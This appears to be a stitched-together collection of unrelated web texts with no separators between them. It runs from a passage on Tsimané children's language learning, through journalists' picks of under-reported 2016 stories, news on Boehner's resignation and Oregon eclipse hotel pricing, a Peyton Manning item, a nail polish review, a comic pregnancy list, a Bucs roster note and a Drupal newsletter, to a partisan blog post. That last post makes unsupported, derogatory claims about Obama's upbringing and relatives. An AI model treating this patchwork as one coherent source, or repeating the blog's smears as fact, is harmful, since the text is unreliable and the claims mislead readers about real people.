Falk says when determining how the lack of direct speech impacts Tsimané children’s ability to learn language, she would like to know about the acoustic features of the speech they do receive. “There’s a good deal of cross-cultural variation in how people talk to babies,” she says. “What would be interesting would be if they would start looking at the quality. You know: What is this infant-directed speech like? How is it different from adult-directed speech?”
Tsimané children do overhear conversations between adults for roughly seven minutes every hour. Laura Shneidman, who has conducted similar research on the Mayan population in Mexico, says that although directed speech contributes more to children’s language acquisition, these overheard conversations could still be beneficial, particularly in non-Western societies. Preliminary data from Shneidman’s research suggest that although U.S. children do a better job of retaining learning through directed speech, Mayan children remember new information from both directed and overheard speech. “The importance of something being directed, per se, varies depending on your culture. Kids growing up in the U.S. get a lot of information that things you direct to them are important,” Shneidman says. “Kids in other cultures where observational learning is more prevalent don’t have those heavy cues that you should only attend and pay attention to things that are directed to you.”
Before you stop talking to your children, however, Shneidman notes that for Westerners, speaking to infants is still critical—especially when considerations like school and competition with other children are taken into account. “In the United States there’s a lot of evidence that talking to kids matters and has these effects on later acquisition,” she says. “I think what’s problematic is taking programs of intervention that have worked in the United States, and taking them wholesale to these other cultures.”We can probably all agree on some things that were over-reported this year. But what stories didn't get their due? Reporters, editors and bloggers weigh in.
This time every year, BillMoyers.com asks reporters, editors and bloggers which key story they feel the mainstream media failed to cover adequately over the last 12 months. See what they had to say, and add any stories that you found were under-reported in the comments below.
Just About Every Important Policy Issue
The most undercovered story this year was what Donald Trump would do as US president. I know it seems strange to say, given all the oxygen that a presidential campaign takes up and especially given Trump’s knack for publicity. But campaign coverage was overwhelmingly focused on ephemeral scandals, gaffes and the candidates’ personal character. TV is the most commonly cited medium from which Americans get their news and TV news was especially focused on horse race process stories, Trump’s latest outrageous tweet and other such distractions rather than the candidates’ policy proposals. The nightly network news programs devoted 125 minutes to Clinton’s emails and just 35 minutes to all policy coverage. Forty percent of debate questions (including the primaries) were about personal characteristics, an unprecedented share.
The general-election debate moderators failed to ask a single question about the single greatest threat to humanity: climate change. (Chris Wallace, the final debate moderator, is a climate science-denier, so perhaps in his case it’s just as well he didn’t.) Many other issues were equally ignored. There were zero questions about: growing economic inequality, our segregated and unequal education system, the crisis of skyrocketing college tuition, civil rights, gay rights, women’s rights (other than abortion), disability rights, worsening residential economic segregation and concentration of poverty, the destructive war on drugs, the deteriorating health of our oceans, public lands management, unaffordable child care and housing, foreign aid, poverty alleviation (domestic and foreign), the systematic disenfranchisement of African-Americans and public health and reproductive freedom for women abroad.
The elite mainstream media considers only certain issues as important — US economic growth, the supposed looming crisis of Medicare and Social Security shortfalls, Middle Eastern war, and Hillary Clinton’s email server — and just ignores everything else. In so doing, they have done a great disservice to the American public.
— Ben Adler, politics and policy reporter, Grist
Justice Antonin Scalia’s (NOT) Replacement
I would suggest that the most under-covered story of the year was the Merrick Garland nomination at the Supreme Court. What began with impetuous tweets only hours after Justice Antonin Scalia died, turned into a full-scale policy to keep anyone President Obama tapped from having a vote, a hearing or even — in most cases — a courtesy meeting with a manifestly qualified centrist judge. The perfectly pretextual arguments proffered: That the president is a lame duck for a quarter of his term in office; that this particular seat was of some weighty significance that required “the people” to decide, were both unprecedented and unsound. That they morphed over the summer into GOP promises of full-scale obstruction for any nominee Hillary Clinton would put forward over four years in office shows that both arguments were also, in fact, lies.
It is difficult to cover a court that resists media coverage, and yet more difficult to talk in an election year about a court that wants not to be politicized. Add that to the difficulty of covering hearings that were not happening for a nominee that wasn’t deemed worthy of our attention, and it made for a long summer of keeping nothing happening in the news. So we largely chose to treat it as if nothing was happening. But something did happen: Democrats lost a chance to reshape the court for decades, and whatever norms have governed the confirmation process have been vaporized.
— Dahlia Lithwick, writer and podcast host, Slate
GOP Voter Suppression and the Trump Win
In 2013, the Supreme Court ruled that states with the longest histories of racial discrimination no longer needed to approve their voting changes with the federal government. That meant that 2016 election was the first presidential race in 50 years without the full protections of the Voting Rights Act of 1965. As a consequence, 14 states had new voting restrictions in effect for the first time in 2016.
GOP voter-suppression efforts impacted the outcome of the election. Donald Trump carried Wisconsin by 22,000 votes, for example, but 300,000 registered voters, according to a federal court, lacked strict forms of voter ID. Turnout in Wisconsin was at its lowest level in 20 years and fell by 52,000 votes in Milwaukee, where 70 percent of the state’s African-American population lives. “We saw some of the greatest declines were in the districts we projected would have the most trouble with voter ID requirements,” said Neil Albrecht, executive director of Milwaukee’s Election Commission.
Yet far too many in the media ignored the GOP’s attack on voting rights. There were 26 debates during the presidential primaries and general election, but not a single question about the gutting of the Voting Rights Act. Cable news devoted hours and hours to Trump’s absurd claim that the election was rigged against him while spending precious little time on the real threat that voters faced.
— Ari Berman, senior contributing writer, The Nation
Your Life, Brought to You by Private Equity
Perhaps you are under the impression that you do not interact with Wall Street on a daily basis. You would be wrong. The New York Times has spent a year examining what happens after private equity firms, which do not face the same regulations as banks, take control of services that are central to our lives — when we dial 911, when we turn the kitchen tap for a glass of water, when we buy a house. Even the newspaper you read might be controlled by a private equity company. (But pro tip: If you read The New York Times, it’s not.)
In particular, The Times looked at private equity’s expansion into public services like emergency care and firefighting. This approach creates a fundamental tension: the push to turn a profit while caring for people in their most vulnerable moments. Reporters found paramedics who felt pressure to steal from hospitals to restock depleted emergency vehicles, an ambulance company that threatened a newborn with a bad credit report and a fire department that has sued victims of house fires for tens of thousands of dollars.
— Danielle Ivory, business reporter, The New York Times
America’s Longest War
If this were a contest for the most over-covered story of the year, you know just what (or rather who) that would be (tweets, rants and all). But under-covered, that’s a little harder. Given its importance, one obvious nominee would be climate change, a subject which never really made it into the presidential debates and still gets remarkably little media attention — even when swaths of the US are burning or experiencing other forms of what’s now called “extreme weather” and those are top-of-the-news stories. Certainly, it’s distinctly under-covered in terms of its importance, being potentially history’s deal-breaker.
Still, perhaps my nominee for 2016 — another topic that got not a single question or comment in those debates — would be the Afghan War, now officially the longest in US history. It’s 15 years since the Bush administration, the CIA and the US military “liberated” that country, and still the war there goes on (and goes increasingly poorly); close to 10,000 American troops, not including private contractors, continue to be stationed there on enormous bases (and are still dying in small numbers); in the Pentagon, officials talk about a “generational” approach to that war extending into the 2020s; US air power has once again been unleashed there as the strength of the Taliban grows. And yet here, both in the media and in the consciousness of the American public, it remains the war that time forgot. When, for instance, was the last time you saw a major article on what the next president might do there, despite the fact that the first two significant military figures appointed to his administration, national security adviser Michael Flynn and Secretary of Defense-designate James (“Mad Dog”) Mattis were both deeply involved in that unsuccessful conflict?
It’s as if, in the last year — and significant parts of the years before that — our war in Afghanistan had simply gone on without us.
—Tom Engelhardt, editor, TomDispatch
The Link Between the Saudi Government and 9/11
For a society so deeply traumatized by the attacks on Sept. 11, an event that not only radically reshaped the foreign and domestic politics of the US but forever changed the lives of millions of people living in the Middle East, the disclosure of one of the biggest mysteries regarding the coordinated terror attacks was barely noticed by our national security-obsessed media.
On July 15, under mounting pressure from Congress, President Barack Obama finally delivered on his promise to declassify the so-called “28 Pages” — the redacted chapter of the 9/11 Commission Report that details ties between the hijackers and agents of the Saudi Arabian government.
The document, while not conclusively confirming that the Saudi Arabian government directed the attacks, provided a litany of ties that should have resulted in a broad discussion. The report discusses a number of Saudi figures living in the US with close contact with the hijackers. Omar al-Bayoumi, believed to be a Saudi intelligence agent, provided two of the hijackers with financial support and eventually helped them obtain drivers licenses and information on flight schools.
But the disclosure of the 28 pages, released during a Friday news dump on the eve of the Republican National Convention, was quickly buried and forgotten. CNN, for instance, spent only a few minutes on the disclosure the following day, and the coverage primarily consisted of an interview with the Saudi ambassador, who emphatically argued that “there’s no there, there.” Other broadcast networks completely ignored the disclosure over the course of the following week, switching quickly to wall-to-wall coverage of the RNC.
Even on the 15-year anniversary of 9/11 this year, broadcast outlets provided scant coverage of the 28 pages and the pertinent issues raised by the report. Instead, anchors largely stuck to the post-9/11 script of showing politicians making a pilgrimage to the World Trade Center memorial to promise to continue the War on Terrorism. Meanwhile, the week after the 9/11 anniversary, the US approved yet another $1.15 billion arms deal to Saudi Arabia, with officials calling the arms shipment an important deal in support of our steadfast allies.
—Lee Fang, investigative journalist, The Intercept
Incarcerated People Strike for Labor Rights and Broader Justice
The largest prison labor strike in US history launched on Sept. 9, 2016. At its peak, more than 24,000 incarcerated people in 22 states stopped working, according to the Incarcerated Workers’ Organizing Committee.
However, despite prison-strike solidarity actions on the streets of about 60 cities, most people in the outside world were unaware that history was being made. At the height of the strike, mainstream media were largely immersed in (subpar) election coverage, and even those that gave the strike a nod often portrayed it as solely about poor labor conditions and pay. These issues were core motivating factors, but as James Kilgore explained in his deep-dive analysis for Truthout, the strike also took on the broader injustice of the criminal punishment system, from police violence to the school-to-prison pipeline to the harsh restrictions of parole. And as Kinetik Justice Amun, one of the strike’s leaders, told Truthout in a May interview, the planning of the September strike was a feat of long-term nationwide coordination — a formidable project for any group, but an extraordinary endeavor for organizers whose freedoms are restricted in almost every way.
This story’s erasure from the headlines mirrors the way incarcerated people are systematically erased from public consciousness. At Truthout, we are committed to lifting up their stories, and that includes the powerful stories of resistance that often do not make it out from behind bars.
— Maya Schenwar, editor-in-chief, Truthout
Journalism’s Failure to Cover Issues of Importance to Average Americans
What’s the most uncovered story of the year? Anything and everything important to average Americans. Because power, not people, are at the center of most present-day news reporting, journalists failed, and continue to fail, at deeply reporting on issues that keep average Americans up at night, or are the first things on people’s minds when they wake up in the morning.
From disappearing retirement plans to rising child care costs, journalists were all too busy covering Donald Trump’s latest and greatest tweets than to report on worrisome Republican rhetoric about free school lunches, let alone Trump’s seeming pre-election alliance with GOP elites that, post-election, has revealed possible plans to privatize Medicare, a program that 48.6 million poor Americans rely on to receive health care. What’s more discouraging is that power, not people, will continue to be at the heart of much of our news coverage.
— Tracie Powell, founder, All Digitocracy and senior fellow, Democracy Fund
The Devastating Effects of Neoliberalism
The media, trapped in their echo chambers of talking heads and official pundits, myopically focused on ratings and advertising revenue, utterly failed to capture the incendiary mood of a disenfranchised working class that elected Donald Trump. The press fleetingly admitted it got it wrong. It then went straight back to filling air and print time with the court gossip of who would or would not be appointed to positions of power. The corporate press, which eschews reporting on issues of substance, functions primarily as courtiers and entertainers not journalists.
The most undercovered story was, and remains, the suffering of the working poor, who most of the media have rendered invisible and dismissed with vulgar stereotypes. The longer the press refuses to confront the devastation caused by neoliberalism, the longer it does not heed the voices of its victims, the more irrelevant it becomes. It is easy to demonize Trump supporters as racist or ignorant. It is a lot harder to confront the economic and political system that exclusively serves corporate power at the expense of the citizenry. We do not live in a functioning democracy. There are no institutions left that are authentically democratic.
Once the press begins to report the reality of our corporate coup, once it no longer pays deference to a system of power the political philosopher Sheldon Wolin calls “inverted totalitarianism,” it will recover its role as a force for truth and the common good. I don’t expect the corporate press to get it right anytime soon. Profit and access to the powerful has replaced journalistic integrity.
— Chris Hedges, activist and journalist, columnist for TruthDig
Health Problems as a Predictor of Trump’s Victory
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the full yoga path. Visit PerfectInnerPeace.com/ebook for a free subscription to her online magazine and the free e-book, “10 Ways to De-stress Your Life Permanently.”© Cliff Owen/AP House Speaker John Boehner of Ohio listens during a news conference on Capitol Hill in Washington, Thursday, Nov. 6, 2014. Cliff Owen/AP
WASHINGTON — In a stunning move, House Speaker John Boehner informed fellow Republicans on Friday that he would resign from Congress at the end of October, giving up his top leadership post and his seat in the House in the face of hardline conservative opposition.
The 13-term Ohio Republican shocked his GOP caucus early Friday morning when he announced his decision in a closed-door session. It came one day after a high point of Boehner's congressional career, a historic speech by Pope Francis to Congress at Boehner's request.
A focus of conservatives' complaints, Boehner "just does not want to become the issue," said Rep. John Mica, R-Fla. "Some people have tried to make him the issue both in Congress and outside," Mica said.
Conservatives have demanded that any legislation to keep the government operating past next Wednesday's deadline strip Planned Parenthood of government funds, an argument rejected by the more pragmatic lawmakers. The dispute has threatened Boehner's speakership and roiled the GOP caucus.
Some conservatives welcomed his announcement.
Rep. Tim Huelskamp of Kansas said "it's time for new leadership," and Rep. Tom Massie of Kentucky said the speaker "subverted our Republic."
"I think it was inevitable," Massie said. "This is a condition of his own making right here."
But more mainstream Republicans said it would be a pyrrhic victory for the tea partyers.
"The honor of John Boehner this morning stands in stark contrast to the idiocy of those members who seek to continually divide us," said Rep. David Jolly of Florida.
"The shutdown caucus as I call them has a small victory," Jolly said.
Boehner's decision removes the possibility of a damaging vote to strip him of his speakership, a scenario that grew more likely amid the conservative clamor over a shutdown.
Boehner took over the speakership in January 2011.
He was first elected to the House in 1990 and soon established a strongly conservative record. He was part of former Speaker Newt Gingrich's leadership team when Republicans took over the House in 1995 for the first time in four decades but was ousted from his leadership role in the wake of the GOP's disappointing performance in the 1998 midterms.
He won a 2006 race to succeed Tom DeLay as the House's No. 2 Republican when DeLay stepped aside as majority leader. He took over as the top Republican in the House in 2007 after Democrats retook the chamber.
As speaker, his tenure has been defined by his early struggles to reach budget agreements with President Barack Obama and his wrestling with the expectations of tea party conservatives who demanded a more confrontational approach.
In 2013, conservatives drove him to reluctantly embrace a partial government shutdown in hopes of delaying implementation of the new health care law. Now, tea party lawmakers have been pressing him to retry the tactic to try to take away federal funding from Planned Parenthood following the disclosure of controversial videos involving its practices of procuring fetal tissue for research purposes.Oregon DOJ investigates hotels for eclipse rates
BEND, Ore. - There's less than five months to go until the Aug. 21 total solar eclipse turns out the lights over much of Central Oregon, and hotel rates are extremely high. But were some early room renters dumped by some hotels seeking to make premium dollars?
According to Expedia, one night at the Days Inn in Bend during the eclipse weekend will set you back $1,600. And on Kayak, a night at the Rainbow Motel will cost you $999.
These prices might be shocking, but what's even more shocking is what some hotels are being accused of doing.
Customers are accusing some Oregon hotels of canceling reservations made for the eclipse weekend, then re-booking other customers at a much higher rate.
One complaint came from Jeffery McPherson of San Ramon, California.
He wrote on the site TripAdvisor that his reservation at the Motel 6 in Madras was canceled three months after he made it
"...the rate was high ($275 a night), but the hotel is ideally located for the solar eclipse, so i was fine with paying the rate. i just got a call from Amanda at the motel saying they are overbooked and they have canceled my reservation," he wrote.
But according to the Motel 6 in Madras, there was a mistake within the reservation system during a rebranding process that allowed 13 rooms to be booked through Expedia that had already been filled.
A similar complaint was filed on TripAdvisor against Prineville's Stafford Inn
"...had a room booked for the eclipse on August 21, 2017, and the manager emailed to say they were cancelling it because of new ownership. this is not true because the new owners took over in 2014, not just now. now they are offering up the room for $600 a night instead of the $160 it was confirmed for."
NewsChannel 21 reached out to the Stafford Inn, but they said they couldn't comment on the issue.
The Oregon Department of Justice Investigating complaints against nine hotels, if it finds that a hotel did violate the Unlawful Trade Practices Act, the hotel could be hit with a fine of up to $25,000.Four-time NFL MVP Peyton Manning talked to our colleague Mike Chappell at The Indianapolis Star and shed some light on his (potential) earning power.
Apparently Manning isn't looking to maximize it.
He's currently saddled with an unsigned $23 million exclusive franchise tag, though Colts owner Jim Irsay has repeatedly stated his desire to make his quarterback the game's best-compensated player as the team tries to sign him to a long-term deal.
Manning's reaction?
"While I appreciate Jim Irsay offering to make me the highest-paid player,'' said Manning, "I told him I'd rather he save that money and keep whoever it is... (free agent RB) Joe Addai, (free agent OL) Charlie Johnson, whoever that may be.
"I'm willing to take less than they've offered if they are going to take that money to keep players we need to keep and go get other players. All I want is for them to have the cap and the cash to keep the players they want to keep and to sign other players.''
He's also anxious to reach an accord, hoping it's done, "Today, tomorrow, definitely by Sunday.''
The Colts have agreed to deals with K Adam Vinatieri and S Melvin Bullitt. They will lose OLB Clint Session to the Jaguars. Pro Bowl WR Reggie Wayne and Pro Bowl DE Robert Mathis will soon be up for new contracts, too.
Manning would rather keep his teammates than surpass the four-year, $72 million deal Patriots QB Tom Brady received a year ago; his $18 million average take puts him atop the NFL heap in terms of average salary on a multiyear deal.
"The numbers that are being floated out there, the rumors of what I'm asking for... that's not from me,'' said Manning.
"I've never said one word about the contract. I told (the Colts) my cap numbers can be as low as they want them to be in being creative with the salary cap.''
Manning is expected to miss a chunk of training camp while recovering from recent surgery on his neck.
"I've told him to be as cautious as he needs to be because the last time I checked, we don't count preseason games," C Jeff Saturday said. "I can tell you this, there's not a player that works harder than he does."Alright, back to my quest for the perfect primary cherry red holographic nail polish! I feel a bit like Goldilocks here – the first one I tried (Loaded Lacquer’s Double Shot of Sriracha) was too orange-toned, and the second one (Chaos & Crocodiles Security Breach) was too pink/purple-toned. Both were stunning, but they weren’t exactly what I was looking for. Here’s hoping I find one that’s juuuust right! So up for today’s Holo Humpday, I have Colors by Llarowe Little Red Corvette.
This is such a strong holo! It’s almost opaque in one coat, but I wore it with 2 to make the holo really slap you in your face! I really really love it (the polish, not slapping you in the face 😉 ). Buuut it’s still a bit more pink/purple-toned than what I was searching for.
So yummy! But it is more maraschino cherry than primary red cherry.
Here’s a closeup:
Oh well, so my quest continues. One day I’ll find what I’m looking for!
What do you think of this one? Pretty isn’t it? 🙂
AdvertisementsAre you pregnant? Know someone who is? Might you become pregnant in the future? Do you have a uterus and engage in sexual intercourse with man(s)? Are you a man(s) who engages in sexual intercourse with uterus owner(s)? Are you exposed to people who engage in sexual intercourse? Have you ever seen or heard of a baby? Have you or any of your friends ever expressed interest in creating a human being from scratch?
If you’ve answered “yes”, “maybe”, “perhaps”, “I’d like to”, or “Does this site contain any content relevant to anyone anywhere?” to any of the above questions, this post is for you!
Behind the scenes at Skepchick, we’ve been brainstorming ideas and working hard at achieving our goal of getting more women interested in skepticism. Aside from blogging, podcasting, organizing conferences and panels and throwing skeptic parties, a few of us have also taken on the task of simply creating more women. Jen, Chelsea and I are Skepchick gardens… though, I admit, I missed on my first attempt and accidentally made yet another white male skeptic (fortunately, he has yet to grow a beard).
But while the human-baking process has been going on for like at least 6000 years or so, it’s hardly a process that’s been perfected. And shockingly, a good portion of the process is not discussed. Really. If you think that being pregnant is anything like what you’ve seen in the movies or heard from your friends or co-workers, you might be surprised to hear that normal uncomplicated pregnancies can suck.
So I made a list of things no one tells you about pregnancy until you’re already sucked in. Not everyone experiences all of these. Some women experience none of these. Some women experience all of these and more. And these do not include any of the things no one tells you about complications, miscarriages, infertility or unwanted pregnancy. So this list is only for the lucky ones.
Ready?
You Must be Happy
You’re pregnant with a baby you want and you and your husband planned for! Congrats! You must be thrilled! Everyone else is! Don’t you love being pregnant? Everyone else does! It’s magical! It’s wonderful!
Except… you’re not. Don’t try to talk about it with anyone. It’s like explaining mustard to a frog. Women who are already parents will explain to you that you’re just dealing with some stress, and that everything will be fine. Everyone who is not a mother will just be confused or think you’re joking.
Reality: Pregnancy is terrifying. You don’t know what’s going on with your body. No one tells you what’s normal and what’s not. And suddenly, no matter how excited and prepared you thought you were, you realize you are totally and completely not ready to be responsible for another human being. You’re filled with doubt. You’re sure you’re making a mistake… and you know what? You might be. No one will tell you that either (unless you’re not married, in which case you are not to be happy at all and any mention of being happy will be met with feigned congratulations and followed up with lectures to your face and whispers behind your back about how naive/stupid/irresponsible you are.) But really, parenting isn’t for everyone. And even if you once thought it was for you, it might not be. For you, it is entirely possible that you made a mistake.
But even if it’s not a mistake (BTW, it probably isn’t), it can sure feel like it. And it’s not only okay, but normal to feel overwhelmed and confused… even angry. On top of being one of the biggest life changing events you will ever experience, you’re uncomfortable and your hormones are messing with your mind… and your body. And on top of that yet is the fact that it’s hard to find sympathy from anyone other than women who are currently pregnant and women who are dealing with their newborns.
Morning Sickness
Ok, everyone talks about morning sickness. But I don’t think it gets proper credit for being as awful as it is. Somehow, barfing endlessly for months has gained a reputation as being a romantic rite of passage. It’s not. It’s like being hungover with the flu for 6 weeks – 9 months.
People will think they’re laughing along with you as you struggle to keep anything down. They will either be completely unsympathetic or think it’s an amusing practical joke to expose you to smells that will bring on your nausea. They will even insist that you’re wrong that the smell of chicken a block away will keep you sick for days because “but you love chicken!”
Then there’s the morning sickness fetishists. They love hearing stories about morning sickness because it means that your pregnancy is going well. It’s true, kind of. There is a correlation between the severity of morning sickness and pregnancy outcomes. But really, when you have 7 months to go, and haven’t held down more than water and saltines for weeks, you don’t give a shit. Also, morning sickness does not necessarily mean that you will have a healthy, full term pregnancy either. You can puke for eight weeks straight and still miscarry… which kind of makes the whole cheering thing kind of a dick move.
Don’t be fooled into thinking “morning sickness” has anything to do with mornings. Noon doesn’t change anything. “Morning” sickness is better termed “all the damn time” sickness. It’s sweet that Hollywood is naive enough to believe that preggos throw up three times before 9am then go on to have a normal day. And by “sweet” I mean that it makes me want to puke.
Staying awake
The first trimester, it’s not even worth it to try. You will not stay awake. You can’t fight it. You can’t sleep your way into more energy. You will feel narcoleptic.
The second trimester you won’t be able to sleep. You will be full of energy. Anything that can be done, must get done now! Before bed! Who needs sleep! You will feel like a manic on meth.
The third trimester you will be motivated but exhausted. You will want to sleep all the time but will not be able to. You will not be able to get comfortable. Once you are comfortable and dozing off, your baby will decide that it’s time to throw a uterus rave. You will feel like a narcoleptic with a conjoined manic-meth-head twin.
Aches
Everything will hurt. Your head, your boobs, your teeth, your back, your belly, your thighs, your feet.
If nothing hurts, something is probably wrong.
If everything hurts too much, something is probably wrong.
If everything hurts the right amount, that is a great sign and it means that everything is going perfectly.
How do you know the right amount? You don’t. And every day, the “right amount” can change. Good luck. You can take Tylenol (paracetamol for the foreigners), but don’t expect it to work for anything ache-related.
Cervix Kicks
Oh your sweet little baby is healthy and moving around and kicking. You can feel him bumping around. It’s magical.
HOLY SHIT! WHAT WAS THAT?
That? That crazy sudden pain that almost made you collapse? That feeling that someone just sent an electric fireball down your vagina and through your legs? That, my dear, was your sweet little baby kicking you in the cervix.
You can’t prepare for it. You can’t stop it. You can only hope that each time it happens, you are near something to break your fall. Or that you are in a place where no one cares if you scream.
Bladder Kicks
It’s probably unfair to say no one talks about this one. But I don’t think it’s talked about enough.
Once your kid starts kicking hard enough to feel it on the outside, it’s time to go to the pharmacy and pick up some Poise pantyliners. Do it. Do not be embarrassed. Do not wait to see if I am making this up.
At this point, your kid can kick with some force. Your bladder lives next to her feet. Think of your bladder as a crudely fastened water balloon. A quick punch aaaaand……hopefully you have access to new pants. Otherwise you have to start yelling at invisible people about Zeus to get away with walking around smelling like pee.
Gaining Sympathy
Don’t expect anyone to ever be sympathetic to any of the things you are going through. Maybe this is why no one talks about these things.
Your friends who want kids don’t want to hear this.
Your friends who don’t want kids will want you to shut up and snap, “You’re the one who wanted kids.” (Because wanting a family means that you want to be kicked in the cervix while urinating on yourself with a back that aches so bad you can hardly move… that’s what YOU GET!)
Your partner might try to be sympathetic, but is going through all this for the first time, too. He won’t have much advice, and will pretty much feel helpless.
With the exception of women with newborns, everyone who doesn’t fall into the first three groups just wants to tell you how great it will be when the kid comes out.
Yeah, it is worth it in the end… but that doesn’t change anything you’re going through right now.
Even though you’re literally never alone, pregnancy can be a very lonely time.
Swelling Junk
Everyone knows things swell when you’re pregnant. Your hands swell. Your feet swell. Your face swells. Your boobs enter a room 5 minutes before you, and 10 minutes after your belly.
But no one tells you that your genitals swell. No one. And once they start, there’s nothing you can do to stop them. And it hurts.
It feels like someone punched you in the crotch with brass knuckles. Sitting hurts. Standing makes the blood rush down. Laying down keeps the pressure off, which feels better, but also helps everything engorge for when you do sit or stand.
And as the baby gets heavier, it acts like a tourniquet, trapping your entire blood supply inside your labia. At some point, you may think you’ve grown giant infected testicles. Nope. Those are your girl parts.
At this point you’ll probably stab anyone who looks like they may even be thinking about sex. If you’re not ready to stab anyone, try having sex… a little more blood rushing down there will undoubtedly get you stabbing within minutes!
Feet
New moms always talk about how they want to get back into their pre-pregnancy jeans. This is their way of coping with the loss of every pair of shoes they ever loved.
By the middle of your 3rd trimester, none of your shoes will fit. Your feet will be swollen and all the muscles and ligaments in your feet will have relaxed, spreading your feet out. The swelling does go away once you’ve pushed your little doll out. The spreading does not.
I hope you didn’t buy your dream Manolos to celebrate your growing family. Now, the only place they’re going to fit is the donation bin. Bright side: some hobo out there is gonna look FABulous!
Pooping
You will poop during child birth. There is nothing you can do about this. Pushing is pushing.
Your doctor and husband (or other coach) will tell you that you didn’t so that you’re not too embarrassed to keep going. You’ll assume they’re being honest. You’ll brag to everyone that you didn’t. Then your husband will get drunk a year and a half later and laugh at you for dooking yourself… then laugh at you for thinking you didn’t. You’ll punch him in the balls, but it won’t change anything because he’s right. You did.
You pooped your bed while a room full of people were staring at your bloody gaping vagina.
Bloody gaping vagina
Yeah. That’s where the baby comes out. People will be staring at it intently. I have nothing else to add.
Alcohol
If you choose not to drink alcohol while pregnant, be prepared for After School Special levels of peer pressure to drink. It is apparently unacceptable to say to anyone ever that you feel safer abstaining completely. You can argue whatever facts you want. Everyone has a sister/aunt/cousin who drank and smoked through her entire pregnancy and gave birth to a healthy 13 lb baby. Your friends, family and co-workers will be annoyed by the fact that you choose not to drink… because for some reason an increased risk of raising a child with ADHD is no reason to stop kicking back with a 6 pack once (or seven times) a week. You need to stop being such a pretentious sober bitch.
The people who applaud your choice to be a pretentious sober bitch will freak.the.fuck.out if anyone drinks in your vicinity. Do not offer to mix up some of your signature cocktail for everyone at a party. Forget it. You’re pregnant. For 9 months, the world is to act as if alcohol never existed. If you mention that you’re really missing margaritas, or take half a sip of one, your friends will call DCFS on you.
Using TP
After giving birth, you will be instructed to stop using toilet paper. Not forever, but for a while. You will be sent home with a little squirt bottle to use to clean yourself after you pee.
Eventually your doctor will clear you to wipe yourself again. But really, it’s not like the TP thing matters. You’ll be too bloody down there for it to really make a difference. Every time you pee, you’ll want to jump into the shower to wash your unusable bloody sexy parts… and your bloody thighs… even your bloody calves and ankles, too, at least for a few days.
Advice
Everyone you meet who has ever met another pregnant woman is an expert on your pregnancy. Everything they will tell you defies logic, and is likely the opposite of anything your OB would ever tell you. The longer ago and the farther away they gave birth, the more advice they will have and the more they will insist your doctor is wrong. Example: 95 year old woman who birthed her youngest 80 years ago in Siberia knows more than your doctor, and will terrify you while going on for hours about what the best way to be pregnant is (using vodka to douche every hour is important for a healthy fetus! You don’t need prenatal care! Birth defect screening is rubbish; try a dowsing rod for your answers! Pickled fish make the best pantyliners!). Your 25 year old friend next door with a 3 month old daughter will not impose her advice on you.
Your husband will give you advice based on what he remembers from his aunt being pregnant in 1989.
Everyone else will ask you questions, benign questions compared to the stuff I’ve listed here, and will be horrified by your answers. “OMG YOU HAVE TO DO WHAT ON THE PREGNANCY TEST STICK? OOOOOOOH YUCK!” “Transvaginal ultrasound? What’s that? OOOOOOOOH YUCK!” “They look THERE? On the BABY? To find out what sex it is? OOOOOOH YUCK!” “Wait, it’s moving right NOW? Like while we talk? OOOOOOOOOOH YUCK!” “Can you still have sex? OOOOOOOH YUCK!”
So there you have it. Everything you may or may not have wanted to know about being pregnant that no one would have ever told you anyway.
Now, I need to go ice my crotch and change my Poise pad.Now this is a headscratcher for Joe.
The Bucs today cut defensive tackle big Frank Okam, per Buccaneers.com.
Okam originally joined the Buccaneers almost exactly a year ago. He was first signed to the team’s practice squad on November 17, 2010, then promoted to the active roster one week later. He had played parts of the 2010 season with Houston and Seattle before coming to Tampa. Initially a fifth-round pick by the Texans out of the University of Texas in 2008, Okam played in eight games over his first two seasons in Houston. With the Buccaneers in 2010 and 2011, Okam played in nine games with four starts, recording 31 tackles and a fumble recovery.
Defensive tackle isn’t exactly a position of strength, which is why the Bucs took a desperate stab at Albert Haynesworth.
Let’s see: Haynesworth, though he has played well, is not in the best of conditioning. Brian Price, while very talented, is a bad move away from missing the season with his strange, painful injury. Roy Miller… what’s the point?
This is just strange.Issue 135 - April, 24th 2014
News
These new releases are a response to the discovery of security vulnerabilities detailed in the next link. Upgrading is strongly recommended.
Please read the full breakdown of this issue but it affects sites that expose Ajax or multi-step forms to anonymous users.
Highlights include an update on key Drupal.org metrics, the procurement policy, the at-large elections and terms, and finally the first quarter financials and annual audit.
From Our Sponsor
Articles
A very cool story.
Friendly Machine's John Hannah explains why he thinks themers should build their own themes.
Jonathan Bardo explains why this new feature in the latest release of Vagrant is a huge improvement for Drupalers.
Drupal 8
Looking to get your feet wet with Drupal 8? Contribute!
Allan Chappell discusses continuous integration and behavioral driven development
If you are curious about this change read the change log :)
A nice summary of Drupal 8 theming.
Joe Fender highlights a very handy feature in Drupal 8 on the Drupalize.Me blog.
Big updates on the CMI (Configuration Management) front as well as the usual status updates.
Tutorials
Some very handy tips from David Corbacho on the Wunderkraut blog.
If you want to get serious about logging Drupal sites you should check out this post from Bastian Widmer on the Amazee Labs Blog.
A great OSTraining tutorial from Steve Burge that not only teaches beginners how to create a powerful feature in personal content lists, but also how to use contextual filters in Views.
Projects
Over on Web Wash, Ivan Zugec introduces us to Context entity field. This module lets you set a condition that checks the value of a field on an entity. This sounds very powerful.
The Paragraphs module is a very interesting one. I took it for a quick spin and it is very similar to the field collection module.
Releases
Podcasts
Developing the Acquia Certification Program with Heather James, Ben Ortega, Peter Manijak and Prasad Shirgoankar.
Events
September 29th - October 3rd, 2014 Amsterdam, The Netherlands.
Finally
Addison Berry's (Director of Education at Drupalize.Me) did an AMA.Since when is it a president's place to advise people in their personal moral and spiritual journey? For five years, he's been preaching to white people on how they should act. Yesterday, President Obama piped up once again on how the Trayvon Martin tragedy should move us all to be a little less racist. Predictably, he threw in Malia and Sasha as paragons of virtue for being "better than we were on these issues."
Coming from a communist father, a hippie, secular humanist, socialist mother who abandoned him, and raised by fellow travelling grandparents, a sexually perverted communist mentor "Uncle Frank" and a gay transvestite Indonesian nanny, there's no way he could get away with this laughable pedagogical moralizing without the contrived family he totes around.
From the Friday speech:
And so, you know, we have to be vigilant. And we have to work on these issues. And those of us in authority should be doing everything we can to encourage the better angels of our -- nature as opposed to using these episodes to heighten divisions. But we should also have confidence that kids these days, I think, have more sense than we did back then and certainly more than our parents did or our grandparents did, and that along this long and difficult journey, you know, we're becoming a more perfect union, not a perfect union, but a more perfect union.
Obama also put us on notice that we'd better do some "soul-searching" because as president he has "convening power" to push forward some "grand new federal programs."
